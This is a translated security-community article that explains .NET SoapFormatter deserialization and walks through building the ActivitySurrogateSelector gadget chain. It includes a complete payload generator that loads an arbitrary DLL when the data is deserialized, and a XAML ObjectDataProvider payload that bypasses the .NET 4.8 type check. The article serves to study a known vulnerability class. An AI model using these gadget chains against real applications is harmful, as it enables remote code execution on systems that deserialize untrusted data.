

SoapFormatter Deserialization and ActivitySurrogateSelector Gadgets

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SoapFormatter Deserialization and ActivitySurrogateSelector Gadgets - Xianzhi Community
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SoapFormatter

`SoapFormatter` generates XML-based SOAP data streams. Its namespace is `System.Runtime.Serialization.Formatters.Soap`, and the class implements the `IRemotingFormatter` and `IFormatter` interfaces.

<https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8.1>

```

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
using System.Threading.Tasks;

namespace SoapDeserializationTest
{
    [Serializable]
    public class Person
    {
        public string Name { get; set; }
        public string FirstName { get; set; }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "guess";
            person.FirstName = "EX";

            SoapFormatter soapFormatter = new SoapFormatter();
            // new MemoryStream()

            using (var memoryStream = new MemoryStream()) {

                soapFormatter.Serialize(memoryStream, person);
                //TextWriter writer = new
StreamWriter(memoryStream, utf8EncodingWithNoByteOrderMark);
                memoryStream.Position = 0;
                string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
                Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
            }
            Console.ReadLine();
        }
    }
}

```

[image: image]

[image: image]

Like BinaryFormatter, it can set `SerializationBinder` and a `SerializationSurrogate` surrogate selector.

SerializationSurrogate

```
SurrogateSelector`1<T>.SerializationSurrogate
```

It can perform serialization and deserialization. An implementation of the `ISerializationSurrogate` interface must implement the `SetObjectData` and `GetObjectData` methods.

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
using System.Threading.Tasks;

namespace SoapDeserializationTest
{

    public class Person
    {
        public string Name { get; set; }
        public string FirstName { get; set; }
    }

    public class PersonSurrogateSelector : ISerializationSurrogate
    {
        public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
        {
            Person person = (Person)obj;
            info.AddValue("PersonName", person.Name);
        }

        public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            Person person = (Person)obj;
            person.Name = info.GetString("PersonName");
            return person;
        }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "guess";
            person.FirstName = "EX";
        }
    }
}
```

```

        SoapFormatter soapFormatter = new SoapFormatter();
        // new MemoryStream()

        PersonSurrogateSelector personSurrogateSelector = new
PersonSurrogateSelector();
        SurrogateSelector surrogateSelector = new SurrogateSelector();
        surrogateSelector.AddSurrogate(typeof(Person), new
StreamingContext(StreamingContextStates.All), personSurrogateSelector);
        soapFormatter.SurrogateSelector = surrogateSelector;

        using (var memoryStream = new MemoryStream()) {

            soapFormatter.Serialize(memoryStream, person);

            memoryStream.Position = 0;
            string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
            Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
            soapFormatter.Deserialize(memoryStream);
        }
        Console.ReadLine();
    }
}

```

Testing showed that serialization fails without the `Serializable` attribute or the `Serializable` interface unless the line that adds `soapFormatter.SurrogateSelector = surrogateSelector;` is present. After adding that line, serialization and deserialization invoke the `PersonSurrogateSelector` and `GetObjectData` methods of `SetObjectData`.

SurrogateSelector

Namespace:

[System.Runtime.Serialization](#)

Assembly:

```
System.Runtime.Serialization.Formatter.dll
```

A surrogate selector allows classes that normally cannot be serialized or deserialized to participate in those operations.

Implement the [ISurrogateSelector](#) interface.

```

class MySurrogateSelector : SurrogateSelector
{
    public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext
context, out ISurrogateSelector selector)
    {
        selector = this;
        if (!type.IsSerializable)
        {
            Type t =
Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+Obje
ctSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35");
            return (ISerializationSurrogate)Activator.CreateInstance(t);
        }
        return base.GetSurrogate(type, context, out selector);
    }
}
//...
MemoryStream fmt = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));

```

During serialization, the added `SurrogateSelector` method on `GetSurrogate` is called to obtain `Surrogate`, the surrogate object. This is an instance of `SerializationSurrogate` with `GetObjectData` and `SetObjectData` methods. Serialization and deserialization call those methods to write values to and read values from `SerializationInfo`.

Put simply, `SurrogateSelector` is the surrogate selector and `SerializationSurrogate` is the surrogate.

Using a surrogate selector for both serialization and deserialization works normally. But what happens if data is serialized with a selector and then deserialized using the native path? The following test demonstrates it.

```

using System;
using System.IO;

using System.Configuration;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Workflow.ComponentModel.Serialization;
using System.Text;

namespace SerializationCollection
{
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {
        public void GetObjectData(Object obj, SerializationInfo info, StreamingContext
context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext
context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;
        }
    }

    class Program
    {

```

```

static void Main(string[] args)
{
    SoapFormatter soapFormatter = new SoapFormatter();
    var ss = new SurrogateSelector();
    ss.AddSurrogate(typeof(Person), new
StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
    // Set the surrogate selector
    soapFormatter.SurrogateSelector = ss;

    Person person = new Person();
    person.Age = 10;
    person.Name = "jack";
    MemoryStream stream = new MemoryStream();
    // Write data during serialization
    soapFormatter.Serialize(stream, person);
    string soap = Encoding.UTF8.GetString(stream.ToArray());
    Console.WriteLine(soap);
    Console.WriteLine("=====");
    // Read data during deserialization

    stream.Position = 0;
    // Person p = (Person)soapFormatter.Deserialize(stream);
    // Deserialize using the native path
    var fmt2 = new SoapFormatter();
    Person p = (Person)fmt2.Deserialize(stream);

    Console.WriteLine(p.Name);
    stream.Close();
    p.SayHello();

    Console.ReadKey();
}
}
}

```

[image: image]

Serialization follows `ISurrogateSelector#SetObjectData`, while deserialization uses the original path, so an error is raised.

To avoid the error, it must be combined with `ActivitySurrogateSelector`.

SurrogateSelector serialization call sequence

InitSerialize is entered during serialization.

```
surrogateSelector.GetSurrogate`1`Surrogate`1`this.serializationSurrogate.GetObjectData`1`
`serializationSurrogate`1`1`GetObjectData
```

[image: image]

[image: image]

SurrogateSelector deserialization call sequence

[image: image]

It calls `this.CheckSerializable` to check whether the specified Type can be serialized.

[image: image]

```
private void CheckSerializable(Type t)
{
    if (!t.IsSerializable && !this.HasSurrogate(t))
    {
        throw new
SerializationException(string.Format(CultureInfo.CurrentCulture,
SoapUtil.GetResourceString("Serialization_NonSerType"), new object[]
{
    t.FullName,
    t.Module.Assembly.FullName
})));
    }
}
```

It checks whether the object is serializable or has `Surrogate`. If it is not serializable and has no `Surrogate`, it throws an exception.

```
private bool HasSurrogate(Type t)
{
    ISurrogateSelector surrogateSelector;
    return this.m_surrogates != null && this.m_surrogates.GetSurrogate(t,
this.m_context, out surrogateSelector) != null;
}
```

If the object is serializable or has `Surrogate`, execution continues into `FormatterServices.GetUninitializedObject(pr.PRdtType);`.

[image: image]

Obtain the object.

[image: image]

[image: image]

ActivitySurrogateSelector

Namespace:

[System.Workflow.ComponentModel.Serialization](#)

Assembly:

System.Workflow.ComponentModel.dll

According to the official documentation, `ActivitySurrogateSelector` is a surrogate that can serialize [Activity](#).

```

using System;
using System.IO;

using System.Configuration;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Workflow.ComponentModel.Serialization;

namespace SoapDeserialization
{
    class NonSerializable
    {
        private string _text;

        public NonSerializable(string text)
        {
            _text = text;
        }

        public override string ToString()
        {
            return _text;
        }
    }

    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        // Override the GetSurrogate method
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext
context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t =
Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+Obje
ctSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }
}

```

```

    }

    class Program
    {
        public static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter soapFormatter1 = new SoapFormatter();
            MemoryStream memoryStream = new MemoryStream();

            soapFormatter1.SurrogateSelector = new MySurrogateSelector();
            soapFormatter1.Serialize(memoryStream, new NonSerializable("Hello World!"));
            memoryStream.Position = 0;

            SoapFormatter soapFormatter2 = new SoapFormatter();
            Console.WriteLine(soapFormatter2.Deserialize(memoryStream));
            Console.ReadKey();
        }
    }
}

```

It runs without an error. This raises a question: after using the `ActivitySurrogateSelector.ObjectSurrogate` named `Surrogate`, why does the original `SoapFormatter` deserialization path not fail?

First examine the `ObjectSurrogate` code.

The `ActivitySurrogateSelector.ObjectSurrogate#GetObjectData` method:

```

public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
    if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is
ActivityBind) && !(obj is DependencyObject))
    {
        throw new ArgumentException("obj");
    }

    info.AddValue("type", obj.GetType());
    string[] names = null;
    MemberInfo[] serializableMembers =
FormatterServicesNoSerializableCheck.GetSerializableMembers(obj.GetType(), out names);
    object[] objectData = FormatterServices.GetObjectData(obj,
serializableMembers);
    info.AddValue("memberDatas", objectData);
    info.SetType(typeof(ObjectSerializedRef));
}

public object SetObjectData(object obj, SerializationInfo info,
StreamingContext context, ISurrogateSelector selector)
{
    return null;
}
}

```

When this `GetObjectData` method runs, it gets the `Type` of `obj` and stores it in `type`, stores the object data in `memberDatas`, and finally changes the `Type` to `ObjectSerializedRef`.

[image: image]

`ObjectSerializedRef` is marked with `Serializable`, so it can be serialized and deserialized.

[image: image]

With the help of `ActivitySurrogateSelector`, classes that are not themselves serializable can therefore be considered while searching for gadget sinks.

LINQ

Language Integrated Query (LINQ) is a family of technologies that integrates query capabilities directly into C#. Data queries were traditionally represented as plain strings, without compile-time type checking or IntelliSense. Different query languages also had to be learned for each data source, such as SQL databases, XML documents, and web services. With LINQ, a query becomes a first-class language construct like a class, method, or event.

###

```

static void Main(string[] args)
{
    // Specify the data source.
    int[] scores = { 97, 92, 81, 60 };

    // Define the query expression.
    IEnumerable<int> scoreQuery =
        from aaa in scores
        where aaa > 60 && aaa > scores.Length
        select aaa;

    foreach (int score in scoreQuery) {
        Console.WriteLine(score);
    }
    Console.ReadLine();
    // Output: 97 92 81
}
}

```

This can also be written in a shorter form called standard query operators.

```

int[] scores = { 97, 92, 81, 60 };

IEnumerable<int> scoreQuery = scores.Where(score => score > 60).Select(score=>score);

```

Consider another example that uses generic delegates.

```

using System;
using System.Collections.Generic;
using System.Linq;

class Program
{
    static void Main(string[] args)
    {
        List<int> numbers = new List<int> { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };

        // Filter and map with Where and Select
        IEnumerable<string> filteredAndMappedNumbers = numbers
            .Where(IsEven) // Use IsEven as a generic delegate for filtering
            .Select(DoubleToString); // Use DoubleToString as a generic delegate for
mapping

        foreach (string number in filteredAndMappedNumbers)
        {
            Console.WriteLine(number);
        }
        Console.ReadLine();
        // Output: 2, 4, 6, 8, 10
    }

    static bool IsEven(int number)
    {
        return number % 2 == 0;
    }

    static string DoubleToString(int number)
    {
        return (number * 2).ToString();
    }
}

```

The `IsEven` method is used as a generic delegate for filtering, and `DoubleToString` as a generic delegate for mapping.

[image: image]

[image: image]

In the `Where` method, the first argument supplies a collection and the second is a `Func` generic delegate. It receives an argument of type

`TSource` and returns `bool`. Because `Where` is a filter, the generic delegate must return `bool`.

Deferred LINQ execution

Deferred LINQ execution means that a query operation does not run immediately. Actual calculation and evaluation happen only when the result is needed, which provides useful flexibility.

A deferred LINQ query executes in the following situations:

- Enumerating or traversing the query result: iterating a LINQ query executes it and produces the corresponding results. This can happen through a `foreach` loop, LINQ extension methods such as `ToList()` or `ToArray()`, or direct use of the query result's iterator.

-

Operations that force immediate execution: some LINQ operations generate the result immediately instead of deferring execution. These include:

-

- Aggregate operations such as `Count()`, `Sum()`, and `Average()`, which must traverse the entire result to calculate a value.
- Conversion operations such as `ToList()`, `ToArray()`, and `ToDictionary()`, which immediately calculate the result and produce a new collection type.

Apart from those cases, LINQ query execution is deferred in the following situations:

- Query definition: defining a LINQ query creates a query expression or query object without executing it. Actual evaluation is triggered only when the result is needed.
- Operations in a query-expression chain: when several operations such as `Where`, `Select`, and `OrderBy` are added to a query chain, execution remains deferred until the result is needed.
- Deferred data loading: when a LINQ query involves a database, a network request, or another lazy-loading mechanism, it is deferred until the data source must be loaded.

Deferred-execution behavior is supplied by LINQ and may vary between query providers and execution environments. When writing and using LINQ queries, understand when execution is deferred and force it at the appropriate point to obtain the intended result.

Delegate.CreateDelegate

A brief piece of background is needed here.

```

using System;
using System.Reflection;

class Program
{
    static void Main()
    {
        // Obtain type information
        Type type = typeof(Math);

        // Obtain information about the method to call
        MethodInfo method = type.GetMethod("Max", new[] { typeof(int), typeof(int) });

        // Create a delegate instance
        Func<int, int, int> maxDelegate = (Func<int, int,
int>)Delegate.CreateDelegate(typeof(Func<int, int, int>), method);

        // Invoke the delegate
        int result = maxDelegate.Invoke(10, 5);

        // Output the result
        Console.WriteLine("Max: " + result);
    }
}

```

In this example, `typeof(Math)` obtains information about the `Math` type, then `GetMethod` gets the `MethodInfo` for the `Max` method. A type array specifies the parameter types of `Max`.

Next, `Delegate.CreateDelegate` creates a delegate instance. It takes two arguments: the delegate type to create, `typeof(Func<int, int, int>)`, and the method to bind, `method`.

The example creates a `Func<int, int, int>` delegate instance that accepts two `int` arguments and returns an `int`.

The first argument is the delegate type supplied to `maxDelegate.Invoke(10, 5)`; the second is the method to bind.

Constructing the execution chain

Combining the concepts above, an appropriate method only needs to be constructed and given to LINQ for delegated execution.

[image: image]

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Reflection;

class Program
{
    static void Main(string[] args)
    {
        List<byte[]> bytesFile = new List<byte[]>();

        bytesFile.Add(File.ReadAllBytes(@"D:\ysoserial-
245b9512aaaa850f1235f248ac9b91ab35dfa20a\Release\e.dll"));

        bytesFile.Select(Assembly.Load);
    }
}

```

[image: image]

This generic delegate accepts byte and returns `Assembly`.

The complete reflection sequence must now be connected.

First, here is the reflection code.

```

Assembly assembly = Assembly.Load("DB.SQLServer");// Loading method 1: DLL file name
(current directory)
Type SQLServer_type = assembly.GetType("DB.SQLServer.SQLServerHelper");
object obj = Activator.CreateInstance(SQLServer_type);
SQLServerHelper ServerHelper= obj as SQLServerHelper;
Students students = ServerHelper.Find(1);

```

So far, only the first step has been completed.

The second step requires the delegate's `public virtual Type[] GetTypes()` method, but `GetTypes()` has no input parameters and returns `Type[]`. The desired return type is `MethodInfo`, so `Delegate.CreateDelegate` is needed here.

```

Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly,
IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.Select(map_type);
Console.WriteLine(e2.GetType());

```

`typeof(Func<Assembly, IEnumerable<Type>>)` specifies the delegate type to pass, while `typeof(Assembly).GetMethod("GetTypes")` specifies the method to which it is bound.

In the code above, a variable of type `Func<Assembly, IEnumerable<Type>>` stores the `Assembly.GetTypes()` method because that method has a signature matching the `Func<Assembly, IEnumerable<Type>>` delegate type.

`Func<Assembly, IEnumerable<Type>>` is a generic delegate type representing a method that accepts one `Assembly` argument and returns a result of type `IEnumerable<Type>`.

The `Assembly.GetTypes()` method has exactly that signature: it accepts an `Assembly` argument and returns `IEnumerable<Type>`, so it can be bound to `Func<Assembly, IEnumerable<Type>>`.

Using `typeof(Assembly).GetMethod("GetTypes")`, the `MethodInfo` object for the `GetTypes` method on type `Assembly` can be obtained. The `GetMethod` method finds a method with a specified name on a type.

Here, `typeof(Assembly)` obtains the `Type` object representing `Assembly`, then `GetMethod("GetTypes")` obtains the `MethodInfo` object for the `GetTypes` method.

Finally, `Delegate.CreateDelegate` converts the `MethodInfo` object for `Assembly.GetTypes` into a delegate with a matching signature. It is assigned to `map_type` so that `Assembly.GetTypes` can be invoked when needed.

In summary, `Delegate.CreateDelegate` uses reflection to convert a method into a delegate with a particular signature so it can be called like an ordinary delegate. In this example, the delegate signature exactly matches `Assembly.GetTypes`, so the binding succeeds.

```
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly,
IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.Select(map_type);
Console.WriteLine(e2.GetType());
```

The constructed chain returns `IEnumerable<IEnumerable<Type>>`. Because `GetTypes()` returns `Type[]`, the delegate is expected to return a `IEnumerable<Type>`, and `SelectMany` is used to obtain it.

```
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly,
IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));

var e2 = e1.SelectMany(map_type);
```

The third step uses `Activator.CreateInstance` to obtain an object instance; this part is straightforward.

```
var e2 = e1.SelectMany(map_type);

var e3 = e2.Select(Activator.CreateInstance);
```

Connecting the gadget chain

Because LINQ uses deferred execution, the assembly is loaded and the type instantiated only when the result elements are enumerated, at which point the code executes. The remaining question is how to guarantee that deserialization performs an enumeration and starts the chain.

James Forshaw's approach was to first find a method that calls ToString() during deserialization, then find a chain from ToString() to IEnumerable.

```
Enumerable -> PagedDataSource -> ICollection
ICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString
```

[image: image]

```
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict =
(IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

// DesignerVerb queries a value from an IDictionary when its ToString is called. This
// results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic |
BindingFlags.Instance).SetValue(verb, dict);
```

First, use `PagedDataSource` to convert type `IEnumerable` to type `ICollection`. This class implements `ICollection`, and `dataSource` has type `IEnumerable`.

[image: image]

Second:

Convert type `ICollection` to type `IDictionary`.

[image: image]

Third, the `ToString()` method of `DesignerVerb` enumerates `IDictionary`.

```

public string Text {
    get {
        object result = Properties["Text"];
        if (result == null) {
            return String.Empty;
        }
        return (string)result;
    }
}

public override string ToString() {
    return Text + " : " + base.ToString();
}

```

Its `this.Properties` is the `Properties` property on `MenuCommand`, of type `IDictionary`. `ToString` calls `Properties["Text"]`. Setting this `Properties` property to the constructed malicious `AggregateDictionary` object triggers LINQ.

[image: image]

The example above calls `ToString` manually to trigger the chain. One final step is needed: triggering it during deserialization.

[image: image]

```

// Hashtable.Insert()
// The current bucket is in use
// OR
// it is available, but has had the collision bit set and we have already found an
// available bucket
if (((buckets[bucketNumber].hash_coll & 0x7FFFFFFF) == hashCode) &&
    KeyEquals (buckets[bucketNumber].key, key)) {
    if (add) {
        throw new
ArgumentException(Environment.GetResourceString("Argument_AddingDuplicate__",
buckets[bucketNumber].key, key));
    }
}

```

During deserialization the key/value entries are rebuilt and their hash codes are compared; an exception is thrown when the values are equal.

```

internal static String GetResourceString(String key, params Object[] values) {
    String s = GetResourceString(key);
    return String.Format(CultureInfo.CurrentCulture, s, values);
}

```

In `GetString`, `values` is passed to `String.Format()`. Because `values` is not of type `string`, this causes its `ToString()` method to be called.

[image: image]

Reflection sets both keys to `DesignerVerb`. When the exception path calls `GetString`, `values` is passed to `String.Format()`, connecting the chain through `DesignerVerb`'s `ToString` method.

[image: image]

[image: image]

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;

namespace ActivitySurrogateSelectorGeneratorTest
{
    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type,
            StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t =
Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        public byte[] GadgetChains()
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");

            List<byte[]> bytesFile = new List<byte[]>();

bytesFile.Add(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ExploitCl

```

```

ass.dll"));

    var e1 = bytesFile.Select(Assembly.Load);
    Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly,
IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
    var e2 = e1.SelectMany(MyGetTypes);
    var e3 = e2.Select(Activator.CreateInstance);

    // PagedDataSource maps an arbitrary IEnumerable to an ICollection
    PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
    // AggregateDictionary maps an arbitrary ICollection to an IDictionary
    // Class is internal so need to use reflection.
    IDictionary dict =
(IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoti
ng.Channels.AggregateDictionary"), pds);

    // DesignerVerb queries a value from an IDictionary when its ToString is
called. This results in the linq enumerator being walked.
    DesignerVerb verb = new DesignerVerb("XYZ", null);
    // Need to insert IDictionary using reflection.
    typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic |
BindingFlags.Instance).SetValue(verb, dict);

    // Pre-load objects, this ensures they're fixed up before building the hash
table.
    List<object> ls = new List<object>();
    ls.Add(e1);
    ls.Add(e2);
    ls.Add(e3);
    ls.Add(pds);
    ls.Add(verb);
    ls.Add(dict);

    Hashtable ht = new Hashtable();

    // Add two entries to table.
    ht.Add(verb, "Hello");
    ht.Add("Dummy", "Hello2");

    FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic |
BindingFlags.Instance);
    Array keys = (Array)fi_keys.GetValue(ht); // buckets
    FieldInfo fi_key = keys.GetType().GetElementType().GetField("key",

```

```

BindingFlags.Public | BindingFlags.Instance);
    for (int i = 0; i < keys.Length; ++i)
    {
        object bucket = keys.GetValue(i);
        object key = fi_key.GetValue(bucket);
        if (key is string)
        {
            fi_key.SetValue(bucket, verb);
            keys.SetValue(bucket, i);
            break;
        }
    }

    fi_keys.SetValue(ht, keys);

    ls.Add(ht);

    BinaryFormatter fmt1 = new BinaryFormatter();
    MemoryStream stm = new MemoryStream();
    fmt1.SurrogateSelector = new MySurrogateSelector();
    fmt1.Serialize(stm, ls);
    //info.AddValue("DataSet.Tables_0", stm.ToArray());
    /*
    BinaryFormatter fmt2 = new BinaryFormatter();
    stm.Seek(0, SeekOrigin.Begin);
    fmt2.Deserialize(stm);
    */
    return stm.ToArray();
}

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
    System.Diagnostics.Trace.WriteLine("In GetObjectData");
    info.SetType(typeof(System.Windows.Forms.AxHost.State));
    info.AddValue("PropertyBagBinary", GadgetChains());
}
}

class Program
{
    static void Main(string[] args)
    {

```

```

System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
        BinaryFormatter fmt1 = new BinaryFormatter();
        BinaryFormatter fmt2 = new BinaryFormatter();
        MemoryStream stm = new MemoryStream();
        PayloadClass test = new PayloadClass();
        fmt1.SurrogateSelector = new MySurrogateSelector();
        fmt1.Serialize(stm, test);
        stm.Seek(0, SeekOrigin.Begin);
        fmt2.Deserialize(stm);
    }
}
}

```

In the code above, `GetObjectData` on `PayloadClass` is used.

```

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
    System.Diagnostics.Trace.WriteLine("In GetObjectData");
    info.SetType(typeof(System.Windows.Forms.AxHost.State));
    info.AddValue("PropertyBagBinary", GadgetChains());
}

```

The reason becomes clear from the `State` constructor.

[image: image]

It traverses `enumerator`, obtains the value from `PropertyBagBinary`, calls `this.propBag.Read`, and performs the `Deserialize` deserialization operation through `BinaryFormatter`.

```

internal class PropertyBagStream : UnsafeNativeMethods.IPropertyBag
{
    private Hashtable bag = new Hashtable();

    internal void Read(Stream stream)
    {
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        try
        {
            bag = (Hashtable)binaryFormatter.Deserialize(stream);
        }
        catch
        {
            bag = new Hashtable();
        }
    }
}

```

The difference here is the try/catch, which allows the code-loading execution to complete without reporting an error afterward.

```

byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] ->
Activator.CreateInstance -> Win!

```

Patch bypass

If the manually assigned `DisableActivitySurrogateSelectorTypeCheck` is removed, both serialization and deserialization of this code fail.

[image: image]

Starting with .NET 4.8, Microsoft fixed the ActivitySurrogateSelector vulnerability. The implementation contains the following check in the `GetObjectData` method of `ActivitySurrogateSelector+ObjectSurrogate`.

```

// System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
    if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is
ActivityBind) && !(obj is DependencyObject))
    {
        throw new ArgumentException("obj");
    }
}

```

`AppSettings.DisableActivitySurrogateSelectorTypeCheck` is false, and when the serialized object is neither `ActivityBind` nor `DependencyObject`, the check throws an exception.

Therefore `AppSettings.DisableActivitySurrogateSelectorTypeCheck` must be set to true.

“[Re-Animating ActivitySurrogateSelector](#)” uses `TextFormattingRunPropertiesMarshal`.

It combines `ObjectDataProvider` and `XamlReader` to perform the

```
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
```

 operation.

The payload is as follows:

```

<ResourceDictionary
  xmlns="https://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="https://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:s="clr-namespace:System;assembly=mscorlib"
  xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
  xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
  <ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
    <ObjectDataProvider.MethodParameters>
      <s:String>System.Workflow.ComponentModel.AppSettings,
System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}"
MethodName="GetField">
    <ObjectDataProvider.MethodParameters>
      <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
      <r:BindingFlags>40</r:BindingFlags>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="set" ObjectInstance="{StaticResource field}"
MethodName="SetValue">
    <ObjectDataProvider.MethodParameters>
      <s:Object/>
      <s:Boolean>true</s:Boolean>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="setMethod" ObjectInstance="{x:Static
c:ConfigurationManager.AppSettings}" MethodName ="Set">
    <ObjectDataProvider.MethodParameters>

<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:S
tring>

    <s:String>true</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>

```

References

<https://paper.seebug.org/1418/#typeconfuseddelegate>

<https://github.com/Y4er/dotnet-deserialization/blob/main/SoapFormatter.md>

<https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html>

<https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogate-selector/>

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